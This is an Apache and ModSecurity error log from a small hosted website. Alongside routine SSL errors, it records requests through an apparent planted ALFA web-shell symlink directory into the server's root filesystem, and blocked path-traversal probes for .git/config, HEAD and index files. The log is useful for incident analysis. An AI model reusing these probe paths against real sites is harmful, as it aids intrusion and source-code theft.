[Sun Oct 25 05:15:22.220681 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.223.134.5:64560] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:15:34.175116 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 35.171.117.160:25048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:15:38.160735 2026] [ssl:error] [pid 2800173:tid 2800173] (5)Input/output error: [client 107.22.208.39:55385] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:15:46.270465 2026] [ssl:error] [pid 2800259:tid 2800259] (5)Input/output error: [client 52.204.71.8:60372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:15:58.324336 2026] [core:error] [pid 2800301:tid 2800301] (13)Permission denied: [client 34.239.85.139:48185] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:17/eject
[Sun Oct 25 05:16:02.141323 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.1.106.130:28440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:16:04.360468 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 185.191.171.15:23362] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/slabs
[Sun Oct 25 05:16:14.127873 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 34.195.60.66:52548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:16:22.133336 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 52.1.106.130:11619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:16:26.131977 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 35.174.253.85:17282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:16:34.256492 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 54.145.82.217:42603] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:16:35.906753 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 185.191.171.8:27812] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tw_sock_TCP/objs_per_slab
[Sun Oct 25 05:16:38.155714 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.71.203.206:22531] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:16:42.311403 2026] [ssl:error] [pid 2800258:tid 2800258] (70014)End of file found: [client 34.239.85.139:39991] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:16:46.165504 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 52.3.102.51:61999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:17:06.120958 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.1.157.90:51776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:17:17.724576 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 185.191.171.9:47502] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-32/hwcache_align
[Sun Oct 25 05:17:18.122716 2026] [ssl:error] [pid 2800173:tid 2800173] (5)Input/output error: [client 23.21.227.240:57352] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:17:42.125204 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 18.207.79.144:61329] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:17:54.191229 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.210.29.96:62125] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:18:14.507624 2026] [core:error] [pid 2800258:tid 2800258] (13)Permission denied: [client 34.206.212.24:53233] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory19/node0/memory3/subsystem/drivers_probe
[Sun Oct 25 05:18:22.142608 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 54.147.238.89:59797] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:18:30.146803 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.225.9.97:49405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:18:34.118586 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 98.82.59.253:7380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:18:38.229723 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.206.249.188:28451] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:18:42.261907 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 85.208.96.201:35456] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:18:46.129457 2026] [ssl:error] [pid 2800257:tid 2800257] (5)Input/output error: [client 18.207.79.144:63421] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:18:47.534901 2026] [core:error] [pid 2800301:tid 2800301] (13)Permission denied: [client 185.191.171.13:39278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/red_zone
[Sun Oct 25 05:19:22.105689 2026] [authz_core:error] [pid 2800176:tid 2800176] [client 146.190.64.8:18002] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 05:19:22.259098 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.205.113.104:59142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:19:26.177241 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 44.195.145.102:64432] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:19:34.147059 2026] [ssl:error] [pid 2800258:tid 2800258] (5)Input/output error: [client 44.197.76.210:14215] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:19:43.882367 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 185.191.171.8:17014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-ParseExt/alloc_calls
[Sun Oct 25 05:19:50.315027 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 52.4.213.199:57952] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:19:54.202668 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.225.181.161:47407] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:19:58.130002 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.235.215.92:7095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:20:06.270350 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 100.29.107.38:27254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:20:07.353059 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 185.191.171.14:64458] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/slab_size
[Sun Oct 25 05:20:10.233987 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 18.210.58.238:43685] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:03/physical_node/resource0_wc
[Sun Oct 25 05:20:19.400179 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 185.191.171.8:59192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/cache_dma
[Sun Oct 25 05:20:26.133854 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 98.82.40.168:8128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:20:30.265140 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 98.84.60.17:47370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:20:30.265325 2026] [security2:error] [pid 2800301:tid 2800301] [client 98.84.60.17:47370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/pcspkr/module/refcnt"] [unique_id "at3J3m-vioONKq5GrvyF7QAAAA8"]
[Sun Oct 25 05:20:30.265353 2026] [security2:error] [pid 2800301:tid 2800301] [client 98.84.60.17:47370] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/pcspkr/module/refcnt"] [unique_id "at3J3m-vioONKq5GrvyF7QAAAA8"]
[Sun Oct 25 05:20:46.187036 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.213.85.234:52194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:20:57.572102 2026] [core:error] [pid 2800080:tid 2800080] (13)Permission denied: [client 85.208.96.201:23108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objs_per_slab
[Sun Oct 25 05:21:02.143049 2026] [ssl:error] [pid 2800301:tid 2800301] (70014)End of file found: [client 52.201.155.215:14896] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:21:06.309398 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 52.73.142.41:33758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/exar_serial/uevent
[Sun Oct 25 05:21:18.149177 2026] [ssl:error] [pid 2800080:tid 2800080] (70014)End of file found: [client 52.205.113.104:60592] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:21:22.141676 2026] [ssl:error] [pid 2800257:tid 2800257] (70014)End of file found: [client 3.226.34.98:47887] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:21:26.138945 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 184.73.167.217:19524] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:21:30.311600 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 35.169.102.85:44274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:21:46.730945 2026] [authz_core:error] [pid 2800080:tid 2800080] [client 45.138.12.22:52630] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 05:21:49.077189 2026] [authz_core:error] [pid 2800301:tid 2800301] [client 45.138.12.22:5901] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 05:21:50.136165 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 3.212.219.113:14002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/iosf_mbi_pci/unbind
[Sun Oct 25 05:21:54.147468 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.194.134.53:1835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:21:54.577535 2026] [authz_core:error] [pid 2799890:tid 2799890] [client 45.138.12.22:50066] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 05:21:58.097964 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at3KNr2dQNaDuK1aHdok1QAAAAs"]
[Sun Oct 25 05:21:58.098034 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at3KNr2dQNaDuK1aHdok1QAAAAs"]
[Sun Oct 25 05:21:58.098126 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at3KNr2dQNaDuK1aHdok1QAAAAs"]
[Sun Oct 25 05:21:58.098383 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at3KNr2dQNaDuK1aHdok1QAAAAs"]
[Sun Oct 25 05:21:58.098789 2026] [security2:error] [pid 2800259:tid 2800259] [client 45.138.12.22:64749] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at3KNr2dQNaDuK1aHdok1QAAAAs"]
[Sun Oct 25 05:21:58.859071 2026] [security2:error] [pid 2800080:tid 2800080] [client 45.138.12.22:61101] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3KNuqg3wvAvSM2DxfLkwAAAAQ"]
[Sun Oct 25 05:21:58.859313 2026] [security2:error] [pid 2800080:tid 2800080] [client 45.138.12.22:61101] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3KNuqg3wvAvSM2DxfLkwAAAAQ"]
[Sun Oct 25 05:21:58.859658 2026] [security2:error] [pid 2800080:tid 2800080] [client 45.138.12.22:61101] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at3KNuqg3wvAvSM2DxfLkwAAAAQ"]
[Sun Oct 25 05:21:58.860754 2026] [security2:error] [pid 2800173:tid 2800173] [client 45.138.12.22:53330] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at3KNsnrA_pwq9mjVbUIIgAAAAY"]
[Sun Oct 25 05:21:58.860941 2026] [security2:error] [pid 2800173:tid 2800173] [client 45.138.12.22:53330] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at3KNsnrA_pwq9mjVbUIIgAAAAY"]
[Sun Oct 25 05:21:58.861214 2026] [security2:error] [pid 2800173:tid 2800173] [client 45.138.12.22:53330] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/index"] [unique_id "at3KNsnrA_pwq9mjVbUIIgAAAAY"]
[Sun Oct 25 05:21:58.862229 2026] [security2:error] [pid 2800300:tid 2800300] [client 45.138.12.22:24455] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at3KNtyUatkAjssgRUdxUwAAAA4"]
[Sun Oct 25 05:21:58.862291 2026] [security2:error] [pid 2800300:tid 2800300] [client 45.138.12.22:24455] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /images../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at3KNtyUatkAjssgRUdxUwAAAA4"]
[Sun Oct 25 05:21:58.862338 2026] [security2:error] [pid 2800300:tid 2800300] [client 45.138.12.22:24455] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at3KNtyUatkAjssgRUdxUwAAAA4"]
[Sun Oct 25 05:21:58.862492 2026] [security2:error] [pid 2800300:tid 2800300] [client 45.138.12.22:24455] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at3KNtyUatkAjssgRUdxUwAAAA4"]
[Sun Oct 25 05:21:58.862811 2026] [security2:error] [pid 2800300:tid 2800300] [client 45.138.12.22:24455] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/images../.git/config"] [unique_id "at3KNtyUatkAjssgRUdxUwAAAA4"]
[Sun Oct 25 05:21:58.870023 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at3KNsAclEqdWzgpj08wXQAAAAc"]
[Sun Oct 25 05:21:58.870085 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /js../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at3KNsAclEqdWzgpj08wXQAAAAc"]
[Sun Oct 25 05:21:58.870135 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at3KNsAclEqdWzgpj08wXQAAAAc"]
[Sun Oct 25 05:21:58.870317 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at3KNsAclEqdWzgpj08wXQAAAAc"]
[Sun Oct 25 05:21:58.870654 2026] [security2:error] [pid 2800176:tid 2800176] [client 45.138.12.22:19137] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/js../.git/config"] [unique_id "at3KNsAclEqdWzgpj08wXQAAAAc"]
[Sun Oct 25 05:21:58.872470 2026] [security2:error] [pid 2806341:tid 2806341] [client 45.138.12.22:1127] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at3KNl7qbMmJbBwRWmCy-AAAAAA"]
